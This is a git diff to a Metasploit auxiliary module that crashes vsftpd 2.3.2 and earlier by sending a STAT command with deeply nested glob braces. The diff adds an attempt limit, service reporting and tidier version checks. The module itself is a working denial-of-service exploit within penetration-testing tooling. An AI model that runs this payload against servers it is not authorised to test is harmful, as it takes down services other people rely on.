diff --git a/modules/auxiliary/dos/ftp/vsftpd_232.rb b/modules/auxiliary/dos/ftp/vsftpd_232.rb
index 0615f7c5c85a5..1812104fddde4 100644
--- a/modules/auxiliary/dos/ftp/vsftpd_232.rb
+++ b/modules/auxiliary/dos/ftp/vsftpd_232.rb
@@ -6,15 +6,17 @@
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::Ftp
   include Msf::Auxiliary::Dos
+  include Msf::Auxiliary::Report
 
   def initialize(info = {})
     super(
       update_info(
         info,
-        'Name'	=> 'VSFTPD 2.3.2 Denial of Service',
-        'Description'	=> %q{
+        'Name' => 'VSFTPD 2.3.2 and Earlier STAT Denial of Service',
+        'Description' => %q{
           This module triggers a Denial of Service condition in the VSFTPD server in
-          versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.
+          versions before 2.3.3 (tested on 2.3.0, 2.3.1, and 2.3.2).
+          Version 2.3.3 and higher should not be vulnerable.
         },
         'Author' => [
           'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>', # Module Creator
@@ -36,22 +38,37 @@ def initialize(info = {})
         }
       )
     )
+
+    register_options([
+      OptInt.new('MAX_ATTEMPTS', [false, 'Maximum payload attempts before giving up (0 = unlimited)', 25])
+    ])
   end
 
   def check
     # attempt to connect
     begin
       if !connect_login
-        print_error('Connection refused.')
+        print_error('Connection refused')
         return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP')
       end
+
+      banner = banner.to_s.strip
+      vprint_status("FTP banner: #{banner.strip}") unless banner.empty?
+      report_service(
+        host: rhost,
+        port: rport,
+        proto: 'tcp',
+        name: 'ftp',
+        info: banner.to_s.gsub(/^\d{3}[\s-]/, '').strip.gsub(/\A\(|\)\z/, '')
+      )
     rescue Rex::ConnectionRefused
-      print_error('Connection refused.')
+      print_error('Connection refused')
       return Exploit::CheckCode::Unknown('Connection refused by the target')
     rescue Rex::ConnectionTimeout
       print_error('Connection timed out')
       return Exploit::CheckCode::Unknown('Connection timed out')
     end
+
     s = ''
     loop do
       # get each line until our desired line shows or end line shows
@@ -61,29 +78,38 @@ def check
     disconnect
     # check if version was found
     if s !~ /vsFTPd \d+\.\d+\.\d+/
-      print_error('Did not find FTP version in FTP session.')
+      print_error('Did not find FTP version in FTP session')
       return Exploit::CheckCode::Unknown('Could not determine vsFTPd version')
     end
 
     # pull out version and check if its in range of vulnerability
-    version = s[/\d+\.\d+\.\d+/]
+    version = s[/vsFTPd (\d+\.\d+\.\d+)/, 1]
     if Rex::Version.new(version) < Rex::Version.new('2.3.3')
-      Exploit::CheckCode::Appears("vsFTPd #{version} is older than the patched version 2.3.3")
+      Exploit::CheckCode::Appears("VSFTPD #{version} is vulnerable (affected: <= 2.3.2)")
     else
-      Exploit::CheckCode::Safe("vsFTPd #{version} is not vulnerable")
+      Exploit::CheckCode::Safe("VSFTPD #{version} is not vulnerable (affected: <= 2.3.2)")
     end
   end
 
   def run
-    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
+    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears
 
     payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
 
     vprint_status("Payload being sent: #{payload}")
     print_status('sending payload')
 
+    attempts = 0
+    max = datastore['MAX_ATTEMPTS'].to_i
+
     loop do
-      print('.')
+      attempts += 1
+      if max > 0 && attempts > max
+        print_error("Reached #{max} attempts without DoS")
+        break
+      end
+      print_status("Attempt: #{attempts}")
+
       connect_login
       10.times do
         send_cmd([payload.to_s], false)
@@ -98,10 +124,11 @@ def run
       print_error('Connection reset!')
     rescue Rex::ConnectionRefused
       print("\n")
-      print_good('Connection refused! Appears DOS attack succeeded.')
+      print_good('Connection refused! Appears DoS attack succeeded')
+      break
     rescue EOFError
       print("\n")
-      print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
+      print_good('Stream was cut off abruptly. Appears DoS attack succeeded')
       break
     end
     disconnect